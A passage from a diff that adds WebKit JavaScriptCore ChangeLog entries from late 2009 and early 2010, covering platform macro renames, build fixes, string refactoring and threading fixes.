+        Don't use // comments in Platform.h, at least some of them seem to make the version of GCC
+        used on the Gtk buildbot unhappy.
 
         * wtf/Platform.h:
 
-2009-12-08  Gustavo Noronha Silva  <gustavo.noronha@collabora.co.uk>
+2010-01-04  Maciej Stachowiak  <mjs@apple.com>
+
+        Reviewed by Darin Fisher.
+
+        Reorganize, document and rename OS() platform macros.
+        https://bugs.webkit.org/show_bug.cgi?id=33198
+
+        * wtf/Platform.h: Rename, reorganize and document OS() macros.
+
+        Adapt to name changes. Also fixed a few incorrect OS checks.
+
+        * API/JSContextRef.cpp:
+        * assembler/MacroAssemblerARM.cpp:
+        (JSC::isVFPPresent):
+        * assembler/MacroAssemblerX86Common.h:
+        * bytecode/SamplingTool.cpp:
+        * config.h:
+        * interpreter/RegisterFile.cpp:
+        (JSC::RegisterFile::~RegisterFile):
+        * interpreter/RegisterFile.h:
+        (JSC::RegisterFile::RegisterFile):
+        (JSC::RegisterFile::grow):
+        * jit/ExecutableAllocator.h:
+        * jit/ExecutableAllocatorFixedVMPool.cpp:
+        * jit/ExecutableAllocatorPosix.cpp:
+        * jit/ExecutableAllocatorSymbian.cpp:
+        * jit/ExecutableAllocatorWin.cpp:
+        * jit/JITOpcodes.cpp:
+        (JSC::JIT::privateCompileCTIMachineTrampolines):
+        * jit/JITStubs.cpp:
+        * jsc.cpp:
+        (main):
+        * parser/Grammar.y:
+        * profiler/ProfileNode.cpp:
+        (JSC::getCount):
+        * runtime/Collector.cpp:
+        (JSC::Heap::Heap):
+        (JSC::Heap::allocateBlock):
+        (JSC::Heap::freeBlockPtr):
+        (JSC::currentThreadStackBase):
+        (JSC::getCurrentPlatformThread):
+        (JSC::suspendThread):
+        (JSC::resumeThread):
+        (JSC::getPlatformThreadRegisters):
+        (JSC::otherThreadStackPointer):
+        * runtime/Collector.h:
+        * runtime/DateConstructor.cpp:
+        * runtime/DatePrototype.cpp:
+        (JSC::formatLocaleDate):
+        * runtime/InitializeThreading.cpp:
+        (JSC::initializeThreading):
+        * runtime/MarkStack.h:
+        (JSC::MarkStack::MarkStackArray::shrinkAllocation):
+        * runtime/MarkStackPosix.cpp:
+        * runtime/MarkStackSymbian.cpp:
+        * runtime/MarkStackWin.cpp:
+        * runtime/StringPrototype.cpp:
+        (JSC::stringProtoFuncLastIndexOf):
+        * runtime/TimeoutChecker.cpp:
+        (JSC::getCPUTime):
+        * runtime/UString.cpp:
+        (JSC::UString::from):
+        * wtf/Assertions.cpp:
+        * wtf/Assertions.h:
+        * wtf/CurrentTime.cpp:
+        (WTF::lowResUTCTime):
+        * wtf/CurrentTime.h:
+        (WTF::getLocalTime):
+        * wtf/DateMath.cpp:
+        * wtf/FastMalloc.cpp:
+        (WTF::TCMalloc_ThreadCache::InitModule):
+        (WTF::TCMallocStats::):
+        * wtf/FastMalloc.h:
+        * wtf/MathExtras.h:
+        * wtf/RandomNumber.cpp:
+        (WTF::randomNumber):
+        * wtf/RandomNumberSeed.h:
+        (WTF::initializeRandomNumberGenerator):
+        * wtf/StringExtras.h:
+        * wtf/TCSpinLock.h:
+        (TCMalloc_SpinLock::Unlock):
+        (TCMalloc_SlowLock):
+        * wtf/TCSystemAlloc.cpp:
+        * wtf/ThreadSpecific.h:
+        (WTF::::destroy):
+        * wtf/Threading.h:
+        * wtf/ThreadingPthreads.cpp:
+        (WTF::initializeThreading):
+        (WTF::isMainThread):
+        * wtf/ThreadingWin.cpp:
+        (WTF::wtfThreadEntryPoint):
+        (WTF::createThreadInternal):
+        * wtf/VMTags.h:
+        * wtf/unicode/icu/CollatorICU.cpp:
+        (WTF::Collator::userDefault):
+        * wtf/win/MainThreadWin.cpp:
+        (WTF::initializeMainThreadPlatform):
+
+2010-01-04  Gustavo Noronha Silva  <gns@gnome.org>
+
+        Add missing files to the build system - make distcheck build fix.
+
+        * GNUmakefile.am:
+
+2010-01-04  Gavin Barraclough <barraclough@apple.com>
+
+        Reviewed by Sam Weinig, additional coding by Mark Rowe.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33163
+        Add string hashing functions to WTF.
+        Use WTF's string hashing functions from UStringImpl.
+
+        * GNUmakefile.am:
+        * JavaScriptCore.exp:
+        * JavaScriptCore.gypi:
+        * JavaScriptCore.vcproj/JavaScriptCore/JavaScriptCore.def:
+        * JavaScriptCore.xcodeproj/project.pbxproj:
+        * runtime/UStringImpl.cpp:
+        * runtime/UStringImpl.h:
+        (JSC::UStringImpl::computeHash):
+        * wtf/HashFunctions.h:
+        * wtf/StringHashFunctions.h: Added.
+        (WTF::stringHash):
+
+2010-01-04  Dmitry Titov  <dimich@chromium.org>
+
+        Not reviewed, attempt to fix ARM bulid.
+
+        * wtf/Platform.h:
+
+2010-01-04  Gavin Barraclough  <barraclough@apple.com>
+
+        Rubber stamped by Geoff Garen.
+
+        Add an 'isIdentifier' to UStringImpl, use this where appropriate
+        (where previously 'identifierTable' was being tested).
+
+        * API/JSClassRef.cpp:
+        (OpaqueJSClass::~OpaqueJSClass):
+        (OpaqueJSClassContextData::OpaqueJSClassContextData):
+        * runtime/Identifier.cpp:
+        (JSC::Identifier::addSlowCase):
+        * runtime/Identifier.h:
+        (JSC::Identifier::add):
+        * runtime/PropertyNameArray.cpp:
+        (JSC::PropertyNameArray::add):
+        * runtime/UStringImpl.h:
+        (JSC::UStringImpl::isIdentifier):
+
+2010-01-04  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Sam "Shimmey Shimmey" Weinig.
+
+        https://bugs.webkit.org/show_bug.cgi?id=33158
+        Refactor JSC API entry/exit to use RAII instead of copy/pasting code.
+        Make it easier to change set of actions taken when passing across the API boundary.
+
+        * API/APIShims.h: Added.
+        (JSC::APIEntryShimWithoutLock::APIEntryShimWithoutLock):
+        (JSC::APIEntryShimWithoutLock::~APIEntryShimWithoutLock):
+        (JSC::APIEntryShim::APIEntryShim):
+        (JSC::APICallbackShim::APICallbackShim):
+        (JSC::APICallbackShim::~APICallbackShim):
+        * API/JSBase.cpp:
+        (JSEvaluateScript):
+        (JSCheckScriptSyntax):
+        (JSGarbageCollect):
+        (JSReportExtraMemoryCost):
+        * API/JSCallbackConstructor.cpp:
+        (JSC::constructJSCallback):
+        * API/JSCallbackFunction.cpp:
+        (JSC::JSCallbackFunction::call):
+        * API/JSCallbackObjectFunctions.h:
+        (JSC::::init):
+        (JSC::::getOwnPropertySlot):
+        (JSC::::put):
+        (JSC::::deleteProperty):
+        (JSC::::construct):
+        (JSC::::hasInstance):
+        (JSC::::call):
+        (JSC::::getOwnPropertyNames):
+        (JSC::::toNumber):
+        (JSC::::toString):
+        (JSC::::staticValueGetter):
+        (JSC::::callbackGetter):
+        * API/JSContextRef.cpp:
+        * API/JSObjectRef.cpp:
+        (JSObjectMake):
+        (JSObjectMakeFunctionWithCallback):
+        (JSObjectMakeConstructor):
+        (JSObjectMakeFunction):
+        (JSObjectMakeArray):
+        (JSObjectMakeDate):
+        (JSObjectMakeError):
+        (JSObjectMakeRegExp):
+        (JSObjectGetPrototype):
+        (JSObjectSetPrototype):
+        (JSObjectHasProperty):
+        (JSObjectGetProperty):
+        (JSObjectSetProperty):
+        (JSObjectGetPropertyAtIndex):
+        (JSObjectSetPropertyAtIndex):
+        (JSObjectDeleteProperty):
+        (JSObjectCallAsFunction):
+        (JSObjectCallAsConstructor):
+        (JSObjectCopyPropertyNames):
+        (JSPropertyNameArrayRelease):
+        (JSPropertyNameAccumulatorAddName):
+        * API/JSValueRef.cpp:
+        (JSValueGetType):
+        (JSValueIsUndefined):
+        (JSValueIsNull):
+        (JSValueIsBoolean):
+        (JSValueIsNumber):
+        (JSValueIsString):
+        (JSValueIsObject):
+        (JSValueIsObjectOfClass):
+        (JSValueIsEqual):
+        (JSValueIsStrictEqual):
+        (JSValueIsInstanceOfConstructor):
+        (JSValueMakeUndefined):
+        (JSValueMakeNull):
+        (JSValueMakeBoolean):
+        (JSValueMakeNumber):
+        (JSValueMakeString):
+        (JSValueToBoolean):
+        (JSValueToNumber):
+        (JSValueToStringCopy):
+        (JSValueToObject):
+        (JSValueProtect):
+        (JSValueUnprotect):
+        * JavaScriptCore.xcodeproj/project.pbxproj:
+
+2010-01-04  Dan Bernstein  <mitz@apple.com>
+
+        Reviewed by Ada Chan and Mark Rowe.
+
+        Updated copyright string
+
+        * Info.plist:
+        * JavaScriptCore.vcproj/JavaScriptCore.resources/Info.plist:
+        * JavaScriptCore.vcproj/JavaScriptCore/JavaScriptCore.rc:
+
+2010-01-04  Adam Roben  <aroben@apple.com>
+
+        No review, rolling out r52741.
+        http://trac.webkit.org/changeset/52741
+        https://bugs.webkit.org/show_bug.cgi?id=33056
+
+        * wtf/AlwaysInline.h:
+
+2010-01-04  Patrick Gansterer  <paroga@paroga.com>
 
         Reviewed by Darin Adler.
 
-        Make WebKit build correctly on FreeBSD, IA64, and Alpha.
-        Based on work by Petr Salinger <Petr.Salinger@seznam.cz>,
-        and Colin Watson <cjwatson@ubuntu.com>.
+        Add cacheFlush support for WinCE
+        https://bugs.webkit.org/show_bug.cgi?id=33110
+
+        * jit/ExecutableAllocator.h:
+        (JSC::ExecutableAllocator::cacheFlush):
+
+2010-01-04  Patrick Gansterer  <paroga@paroga.com>
+
+        Reviewed by Adam Roben.
+
+        Implement NO_RETURN for COMPILER(MSVC).
+        https://bugs.webkit.org/show_bug.cgi?id=33056
+
+        * wtf/AlwaysInline.h:
+
+2010-01-04  Maciej Stachowiak  <mjs@apple.com>
+
+        Reviewed by Simon Hausmann.
+
+        Fix some PLATFORM(*_ENDIAN) uses to CPU()
+        https://bugs.webkit.org/show_bug.cgi?id=33148
+
+        * runtime/JSCell.cpp:
+        (JSC::):
+        * runtime/JSValue.h:
+        (JSC::JSValue::):
+
+2010-01-04  Maciej Stachowiak  <mjs@apple.com>
+
+        Reviewed by Adam Barth.
+
+        Document CPU() macros in comments.
+        https://bugs.webkit.org/show_bug.cgi?id=33147
+
+        * wtf/Platform.h:
+
+2010-01-04  Maciej Stachowiak  <mjs@apple.com>
+
+        Reviewed by Adam Barth.
+
+        Reorganize, document and rename CPU() platform macros.
+        https://bugs.webkit.org/show_bug.cgi?id=33145
+        ExecutableAllocatorSymbian appears to have buggy ARM version check
+        https://bugs.webkit.org/show_bug.cgi?id=33138
+        
+        * wtf/Platform.h:
+        Rename all macros related to detection of particular CPUs or
+        classes of CPUs to CPU(), reorganize and document them.
+
+        All remaining changes are adapting to the renames, plus fixing the
+        second bug cited above.
+        
+        * assembler/ARMAssembler.cpp:
+        * assembler/ARMAssembler.h:
+        * assembler/ARMv7Assembler.h:
+        * assembler/AbstractMacroAssembler.h:
+        (JSC::AbstractMacroAssembler::Imm32::Imm32):
+        * assembler/MacroAssembler.h:
+        * assembler/MacroAssemblerARM.cpp:
+        * assembler/MacroAssemblerARM.h:
+        * assembler/MacroAssemblerCodeRef.h:
+        (JSC::MacroAssemblerCodePtr::MacroAssemblerCodePtr):
+        * assembler/MacroAssemblerX86.h:
+        * assembler/MacroAssemblerX86Common.h:
+        * assembler/MacroAssemblerX86_64.h:
+        * assembler/X86Assembler.h:
+        (JSC::X86Registers::):
+        (JSC::X86Assembler::):
+        (JSC::X86Assembler::movl_mEAX):
+        (JSC::X86Assembler::movl_EAXm):
+        (JSC::X86Assembler::repatchLoadPtrToLEA):
+        (JSC::X86Assembler::X86InstructionFormatter::memoryModRM):
+        * jit/ExecutableAllocator.h:
+        * jit/ExecutableAllocatorFixedVMPool.cpp:
+        * jit/ExecutableAllocatorPosix.cpp:
+        * jit/ExecutableAllocatorSymbian.cpp:
+        (JSC::ExecutableAllocator::intializePageSize):
+        * jit/JIT.cpp:
+        * jit/JIT.h:
+        * jit/JITArithmetic.cpp:
+        * jit/JITInlineMethods.h:
+        (JSC::JIT::beginUninterruptedSequence):
+        (JSC::JIT::restoreArgumentReferenceForTrampoline):
+        (JSC::JIT::emitCount):
+        * jit/JITOpcodes.cpp:
+        (JSC::JIT::privateCompileCTIMachineTrampolines):
+        * jit/JITPropertyAccess.cpp:
+        (JSC::JIT::privateCompileGetByIdProto):
+        (JSC::JIT::privateCompileGetByIdProtoList):
+        (JSC::JIT::privateCompileGetByIdChainList):
+        (JSC::JIT::privateCompileGetByIdChain):
+        * jit/JITStubs.cpp:
+        (JSC::JITThunks::JITThunks):
+        * jit/JITStubs.h:
+        * runtime/Collector.cpp:
+        (JSC::currentThreadStackBase):
+        (JSC::getPlatformThreadRegisters):
+        (JSC::otherThreadStackPointer):
+        * wrec/WREC.h:
+        * wrec/WRECGenerator.cpp:
+        (JSC::WREC::Generator::generateEnter):
+        (JSC::WREC::Generator::generateReturnSuccess):
+        (JSC::WREC::Generator::generateReturnFailure):
+        * wrec/WRECGenerator.h:
+        * wtf/FastMalloc.cpp:
+        * wtf/TCSpinLock.h:
+        (TCMalloc_SpinLock::Lock):
+        (TCMalloc_SpinLock::Unlock):
+        (TCMalloc_SlowLock):
+        * wtf/Threading.h:
+        * wtf/dtoa.cpp:
+        * yarr/RegexJIT.cpp:
+        (JSC::Yarr::RegexGenerator::generateEnter):
+        (JSC::Yarr::RegexGenerator::generateReturn):
+        * yarr/RegexJIT.h:
+
+2010-01-04  Maciej Stachowiak  <mjs@apple.com>
+
+        Reviewed by Adam Barth.
+
+        Clean up COMPILER macros and remove unused ones.
+        https://bugs.webkit.org/show_bug.cgi?id=33132
+        
+        Removed values are COMPILER(BORLAND) and COMPILER(CYGWIN) - they were
+        not used anywhere.
+
+        * wtf/Platform.h:
+
+2010-01-03  Maciej Stachowiak  <mjs@apple.com>
+
+        Reviewed by Eric Seidel.
+
+        Update wtf/Platform.h to document the new system for porting macros.
+        https://bugs.webkit.org/show_bug.cgi?id=33130
 
         * wtf/Platform.h:
 
+2009-12-29  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Maciej Stachowiak.
+
+        PLATFORM(CAIRO) should be defined by WIN_CAIRO define
+        https://bugs.webkit.org/show_bug.cgi?id=22250
+
+        * wtf/Platform.h: Define WTF_PLATFORM_CAIRO for GTK port only
+        For the WinCairo port WTF_PLATFORM_CAIRO is already defined in config.h
+
+2009-12-28  Shu Chang  <Chang.Shu@nokia.com>
+
+        Reviewed by Laszlo Gombos.
+
+        [Qt] Delete ThreadPrivate instance after it is finished.
+        https://bugs.webkit.org/show_bug.cgi?id=32614
+
+        * wtf/qt/ThreadingQt.cpp:
+        (WTF::ThreadMonitor::instance):
+        (WTF::ThreadMonitor::threadFinished):
+        (WTF::createThreadInternal):
+        (WTF::detachThread):
+
+2009-12-28  Patrick Gansterer  <paroga@paroga.com>
+
+        Reviewed by Maciej Stachowiak.
+
+        Cleanup of #define JS_EXPORT.
+
+        * API/JSBase.h:
+
+2009-12-27  Patrick Gansterer  <paroga@paroga.com>
+
+        Reviewed by Adam Barth.
+
+        WinCE buildfix (HWND_MESSAGE isn't supported there)
+
+        * wtf/win/MainThreadWin.cpp:
+        (WTF::initializeMainThreadPlatform):
+
+2009-12-27  Patrick Gansterer  <paroga@paroga.com>
+
+        Reviewed by Adam Barth.
+
+        Added a file with WinMain function to link agains in WinCE.
+
+        * os-win32/WinMain.cpp: Added.
+        (convertToUtf8):
+        (WinMain):
+
+2009-12-24  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Unreviewed; revert of r52550.
+
+        The change regressed the following LayoutTests for QtWebKit.
+
+        fast/workers/worker-call.html -> crashed
+        fast/workers/worker-close.html -> crashed
+
+        * wtf/qt/ThreadingQt.cpp:
+        (WTF::waitForThreadCompletion):
+        (WTF::detachThread):
+
+2009-12-24  Shu Chang  <Chang.Shu@nokia.com>
+
+        Reviewed by Laszlo Gombos.
+
+        [Qt] Fix memory leak by deleting instance of ThreadPrivate
+        in function waitForThreadCompletion(), synchronously, or in
+        detachThread(), asynchronously.
+        https://bugs.webkit.org/show_bug.cgi?id=32614 
+
+        * wtf/qt/ThreadingQt.cpp:
+        (WTF::waitForThreadCompletion):
+        (WTF::detachThread):
+
+2009-12-23  Kwang Yul Seo  <skyul@company100.net>
+
+        Reviewed by Laszlo Gombos.
+
+        Include stddef.h for ptrdiff_t
+        https://bugs.webkit.org/show_bug.cgi?id=32891
+
+        ptrdiff_t is typedef-ed in stddef.h.
+        Include stddef.h in jit/ExecutableAllocator.h.
+
+        * jit/ExecutableAllocator.h:
+
+2009-12-23  Patrick Gansterer  <paroga@paroga.com>
+
+        Reviewed by Eric Seidel.
+
+        Buildfix after r47092.
+
+        * wtf/wince/MemoryManager.cpp:
+        (WTF::tryFastMalloc):
+        (WTF::tryFastZeroedMalloc):
+        (WTF::tryFastCalloc):
+        (WTF::tryFastRealloc):
+
+2009-12-23  Kent Tamura  <tkent@chromium.org>
+
+        Reviewed by Darin Adler.
+
+        HTMLInputElement::valueAsDate getter support.
+        https://bugs.webkit.org/show_bug.cgi?id=32876
+
+        Expose dateToDaysFrom1970().
+
+        * JavaScriptCore.exp:
+        * JavaScriptCore.vcproj/JavaScriptCore/JavaScriptCore.def:
+        * wtf/DateMath.cpp:
+        (WTF::dateToDaysFrom1970):
+        * wtf/DateMath.h:
+
+2009-12-22  Darin Adler  <darin@apple.com>
+
+        Reviewed by Mark Rowe.
+
+        Turn off datagrid by default, at least for all platforms Apple ships.
+        The datagrid implementation isn't ready for general web use yet.
+
+        * Configurations/FeatureDefines.xcconfig: Turn off datagrid by default.
+
+2009-12-22  Steve Block  <steveblock@google.com>
+
+        Reviewed by David Levin.
+
+        Updates Android's scheduleDispatchFunctionsOnMainThread() to use new
+        AndroidThreading class, rather than using JavaSharedClient directly.
+        This fixes the current layering violation.
+        https://bugs.webkit.org/show_bug.cgi?id=32651
+
+        The pattern is copied from Chromium, which uses the ChromiumThreading
+        class. This patch also fixes the style in ChromiumThreading.h.
+
+        * wtf/android/AndroidThreading.h: Added. Declares AndroidThreading.
+        * wtf/android/MainThreadAndroid.cpp: Modified
+        (WTF::scheduleDispatchFunctionsOnMainThread): Uses AndroidThreading.
+        * wtf/chromium/ChromiumThreading.h: Modified. Fixes style.
+
+2009-12-22  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Fix a couple of problems with UntypedPtrAndBitfield.
+
+        Add a m_leaksPtr to reduce false positives from leaks in debug builds
+        (this isn't perfect because we'd like a solution for release builds,
+        but this is now at least as good as a PtrAndFlags would be).
+
+        Switch SmallStringsto use a regular string for the base, rather than
+        a static one.  UntypedPtrAndBitfield assumes all strings are at least
+        8 byte aligned; this migt not be true of static strings.  Shared buffers
+        are heap allocated, as are all UStringImpls other than static strings.
+        Static strings cannot end up being the owner string of substrings,
+        since the only static strings are length 0.
+
+        * runtime/SmallStrings.cpp:
+        (JSC::SmallStringsStorage::SmallStringsStorage):
+        * runtime/UStringImpl.h:
+        (JSC::UntypedPtrAndBitfield::UntypedPtrAndBitfield):
+        (JSC::UStringImpl::UStringImpl):
+
+2009-12-22  Kwang Yul Seo  <skyul@company100.net>
+
+        Reviewed by Darin Adler.
+
+        RVCT (__ARMCC_VERSION < 400000) does not provide strcasecmp and strncasecmp
+        https://bugs.webkit.org/show_bug.cgi?id=32857
+
+        Add implementation of strcasecmp and strncasecmp for RVCT < 4.0
+        because earlier versions of RVCT 4.0 does not provide these functions.
+
+        * wtf/StringExtras.cpp: Added.
+        (strcasecmp):
+        (strncasecmp):
+        * wtf/StringExtras.h:
+
+2009-12-22  Kwang Yul Seo  <skyul@company100.net>
+
+        Reviewed by Darin Adler.
+
+        Define ALWAYS_INLINE and WTF_PRIVATE_INLINE to __forceinline for RVCT
+        https://bugs.webkit.org/show_bug.cgi?id=32853
+
+        Use __forceinline forces RVCT to compile a C or C++ function
+        inline. The compiler attempts to inline the function, regardless of
+        the characteristics of the function.
+
+        * wtf/AlwaysInline.h:
+        * wtf/FastMalloc.h:
+
+2009-12-21  Simon Hausmann  <simon.hausmann@nokia.com>
+
+        Prospective GTK build fix: Add UStringImpl.cpp/h to the build.
+
+        * GNUmakefile.am:
+
+2009-12-21  Simon Hausmann  <simon.hausmann@nokia.com>
+
+        Fix the Qt build, add UStringImpl.cpp to the build.
+
+        * JavaScriptCore.pri:
+
+2009-12-21  Gavin Barraclough  <barraclough@apple.com>
+
+        Windows Build fix part 5.
+        * JavaScriptCore.vcproj/JavaScriptCore/JavaScriptCore.vcproj:
+
+2009-12-21  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by NOBODY (build fix).
+        Fix breakage of world introduced in build fix to r52463.
+
+        * runtime/UStringImpl.h:
+
+2009-12-21  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Darin Adler.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32831
+        Replace UString::Rep implementation, following introduction of ropes to JSC.
+
+            * Remove redundant overcapacity mechanisms.
+            * Reduce memory cost of Rep's.
+            * Add an inline storage mechanism akin to that in WebCore's StringImpl.
+
+        ~1% Sunspider progression.
+
+        * JavaScriptCore.exp:
+        * JavaScriptCore.xcodeproj/project.pbxproj:
+        * runtime/JSString.cpp:
+        (JSC::JSString::resolveRope):
+        * runtime/SmallStrings.cpp:
+        (JSC::SmallStringsStorage::SmallStringsStorage):
+        * runtime/UString.cpp:
+        (JSC::initializeUString):
+        (JSC::createRep):
+        (JSC::UString::createFromUTF8):
+        (JSC::UString::createUninitialized):
+        (JSC::UString::spliceSubstringsWithSeparators):
+        (JSC::UString::replaceRange):
+        (JSC::UString::ascii):
+        (JSC::UString::operator=):
+        (JSC::UString::toStrictUInt32):
+        (JSC::equal):
+        * runtime/UString.h:
+        (JSC::UString::isEmpty):
+        (JSC::UString::cost):
+        (JSC::makeString):
+        * runtime/UStringImpl.cpp: Added.
+        (JSC::UStringImpl::baseSharedBuffer):
+        (JSC::UStringImpl::sharedBuffer):
+        (JSC::UStringImpl::destroy):
+        (JSC::UStringImpl::computeHash):
+        * runtime/UStringImpl.h: Added.
+        (JSC::UntypedPtrAndBitfield::UntypedPtrAndBitfield):
+        (JSC::UntypedPtrAndBitfield::asPtr):
+        (JSC::UntypedPtrAndBitfield::operator&=):
+        (JSC::UntypedPtrAndBitfield::operator|=):
+        (JSC::UntypedPtrAndBitfield::operator&):
+        (JSC::UStringImpl::create):
+        (JSC::UStringImpl::createCopying):
+        (JSC::UStringImpl::createUninitialized):
+        (JSC::UStringImpl::data):
+        (JSC::UStringImpl::size):
+        (JSC::UStringImpl::cost):
+        (JSC::UStringImpl::hash):
+        (JSC::UStringImpl::computedHash):
+        (JSC::UStringImpl::setHash):
+        (JSC::UStringImpl::identifierTable):
+        (JSC::UStringImpl::setIdentifierTable):
+        (JSC::UStringImpl::ref):
+        (JSC::UStringImpl::deref):
+        (JSC::UStringImpl::allocChars):
+        (JSC::UStringImpl::copyChars):
+        (JSC::UStringImpl::computeHash):
+        (JSC::UStringImpl::null):
+        (JSC::UStringImpl::empty):
+        (JSC::UStringImpl::checkConsistency):
+        (JSC::UStringImpl::):
+        (JSC::UStringImpl::UStringImpl):
+        (JSC::UStringImpl::operator new):
+        (JSC::UStringImpl::bufferOwnerString):
+        (JSC::UStringImpl::bufferOwnership):
+        (JSC::UStringImpl::isStatic):
+
+2009-12-18  Laszlo Gombos  <laszlo.1.gombos@nokia.com>
+
+        Reviewed by Kenneth Rohde Christiansen.
+
+        Move some build decisions from Qt build system into source files
+        https://bugs.webkit.org/show_bug.cgi?id=31956
+
+        * JavaScriptCore.pri: Compile files unconditionally
+        * jit/ExecutableAllocatorPosix.cpp: Guard with PLATFORM(UNIX) && !PLATFORM(SYMBIAN)
+        * jit/ExecutableAllocatorWin.cpp: Guard with PLATFORM(WIN_OS)
+        * runtime/MarkStackPosix.cpp: Guard with PLATFORM(UNIX) && !PLATFORM(SYMBIAN)
+        * runtime/MarkStackSymbian.cpp: Guard with PLATFORM(SYMBIAN)
+        * runtime/MarkStackWin.cpp: Guard with PLATFORM(WIN_OS)
+        * wtf/Platform.h: Guard ENABLE_JSC_MULTIPLE_THREADS with ENABLE_SINGLE_THREADED for the Qt port
+        * wtf/ThreadingNone.cpp: Guard with ENABLE(SINGLE_THREADED)
+        * wtf/qt/ThreadingQt.cpp: Guard with !ENABLE(SINGLE_THREADED)
+
+2009-12-18  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        Add createNonCopying method to UString to make replace constructor passed bool,
+        to make behaviour more explicit.  Add createFromUTF8 to UString (wrapping method
+        on UString::Rep), since other cases of transliteration (e.g.  from ascii) are
+        performed in UString constructors.  Add/use setHash & size() accessors on Rep,
+        rather than accessing _hash/len directly.
+
+        * API/JSClassRef.cpp:
+        (OpaqueJSClass::OpaqueJSClass):
+        * API/OpaqueJSString.cpp:
+        (OpaqueJSString::ustring):
+        * JavaScriptCore.exp:
+        * runtime/ArrayPrototype.cpp:
+        (JSC::arrayProtoFuncToString):
+        * runtime/Identifier.cpp:
+        (JSC::Identifier::equal):
+        (JSC::CStringTranslator::translate):
+        (JSC::UCharBufferTranslator::translate):
+        (JSC::Identifier::addSlowCase):
+        * runtime/JSString.cpp:
+        (JSC::JSString::resolveRope):
+        * runtime/JSString.h:
+        (JSC::JSString::Rope::Fiber::refAndGetLength):
+        (JSC::JSString::Rope::append):
+        * runtime/StringBuilder.h:
+        (JSC::StringBuilder::release):
+        * runtime/StringConstructor.cpp:
+        (JSC::stringFromCharCodeSlowCase):
+        * runtime/StringPrototype.cpp:
+        (JSC::substituteBackreferencesSlow):
+        (JSC::stringProtoFuncToLowerCase):
+        (JSC::stringProtoFuncToUpperCase):
+        (JSC::stringProtoFuncFontsize):
+        (JSC::stringProtoFuncLink):
+        * runtime/UString.cpp:
+        (JSC::UString::UString):
+        (JSC::UString::createNonCopying):
+        (JSC::UString::createFromUTF8):
+        * runtime/UString.h:
+        (JSC::UString::Rep::setHash):
+        (JSC::UString::~UString):
+        (JSC::makeString):
+
+2009-12-18  Geoffrey Garen  <ggaren@apple.com>
+
+        Reviewed by Cameron Zwarich and Gavin Barraclough.
+        
+        Changed Register constructors to assignment operators, to streamline
+        moving values into registers. (In theory, there's no difference between
+        the two, since the constructor should just inline away, but there seems
+        to be a big difference in the addled mind of the GCC optimizer.)
+
+        In the interpreter, this is a 3.5% SunSpider speedup and a 1K-2K
+        reduction in stack usage per privateExecute stack frame.
+
+        * interpreter/CallFrame.h:
+        (JSC::ExecState::setCalleeArguments):
+        (JSC::ExecState::setCallerFrame):
+        (JSC::ExecState::setScopeChain):
+        (JSC::ExecState::init):
+        (JSC::ExecState::setArgumentCount):
+        (JSC::ExecState::setCallee):
+        (JSC::ExecState::setCodeBlock): Added a little bit of casting so these
+        functions could use the new Register assignment operators.
+
+        * interpreter/Register.h:
+        (JSC::Register::withInt):
+        (JSC::Register::Register):
+        (JSC::Register::operator=): Swapped in assignment operators for constructors.
+
 2009-12-18  Yongjun Zhang  <yongjun.zhang@nokia.com>
 
         Reviewed by Simon Hausmann.
@@ -53,6 +7099,1656 @@
 
         * wtf/Assertions.h:
 
+2009-12-18  Geoffrey Garen  <ggaren@apple.com>
+
+        Reviewed by Adam Roben.
+
+        Fixed intermittent failure seen on Windows buildbot, and in other JSC
+        API clients.
+        
+        Added a WeakGCPtr class and changed OpaqueJSClass::cachedPrototype to
+        use it, to avoid vending a stale object as a prototype.
+
+        * API/JSClassRef.cpp:
+        (OpaqueJSClassContextData::OpaqueJSClassContextData):
+        (OpaqueJSClass::prototype):
+        * API/JSClassRef.h: Use WeakGCPtr.
+
+        * JavaScriptCore.xcodeproj/project.pbxproj:
+        * runtime/WeakGCPtr.h: Added.
+        (JSC::WeakGCPtr::WeakGCPtr):
+        (JSC::WeakGCPtr::get):
+        (JSC::WeakGCPtr::clear):
+        (JSC::WeakGCPtr::operator*):
+        (JSC::WeakGCPtr::operator->):
+        (JSC::WeakGCPtr::operator!):
+        (JSC::WeakGCPtr::operator bool):
+        (JSC::WeakGCPtr::operator UnspecifiedBoolType):
+        (JSC::WeakGCPtr::assign):
+        (JSC::::operator):
+        (JSC::operator==):
+        (JSC::operator!=):
+        (JSC::static_pointer_cast):
+        (JSC::const_pointer_cast):
+        (JSC::getPtr): Added WeakGCPtr to the project.
+
+2009-12-18  Gavin Barraclough  <barraclough@apple.com>
+
+        Reviewed by Sam Weinig.
+
+        https://bugs.webkit.org/show_bug.cgi?id=32720
+
+        * JavaScriptCore.exp:
+            - Remove exports for UString::append
+        * JavaScriptCore.xcodeproj/project.pbxproj:
+            - Make StringBuilder a private header (was project).
+
+2009-12-18  Martin Robinson  <martin.james.robinson@gmail.com>
+
+        Reviewed by Gustavo Noronha Silva.
+
+        [GTK] GRefPtr does not take a reference when assigned a raw pointer
+        https://bugs.webkit.org/show_bug.cgi?id=32709
+
+        Ensure that when assigning a raw pointer to a GRefPtr, the reference
+        count is incremented. Also remove the GRefPtr conversion overload as
+        GRefPtr types have necessarily incompatible reference counting.
+
+        * wtf/gtk/GRefPtr.h:
+        (WTF::GRefPtr::operator=):
+
+2009-12-18  Simon Hausmann  <simon.hausmann@nokia.com>
+
+        Reviewed by Tor Arne Vestbø.
+
+        [Qt] Clean up the qmake build system to distinguish between trunk builds and package builds
+
+        https://bugs.webkit.org/show_bug.cgi?id=32716
+
+        * pcre/pcre.pri: Use standalone_package instead of QTDIR_build
+
+2009-12-18  Martin Robinson  <martin.james.robinson@gmail.com>
+
+        Reviewed by Gustavo Noronha Silva.
+
+        [GTK] Compile warning from line 29 of GRefPtr.cpp
+        https://bugs.webkit.org/show_bug.cgi?id=32703
+
+        Fix memory leak and compiler warning in GRefPtr GHashTable template
+        specialization.
+
+        * wtf/gtk/GRefPtr.cpp:
+        (WTF::refGPtr):
+
+2009-12-17  Sam Weinig  <sam@webkit.org>
+
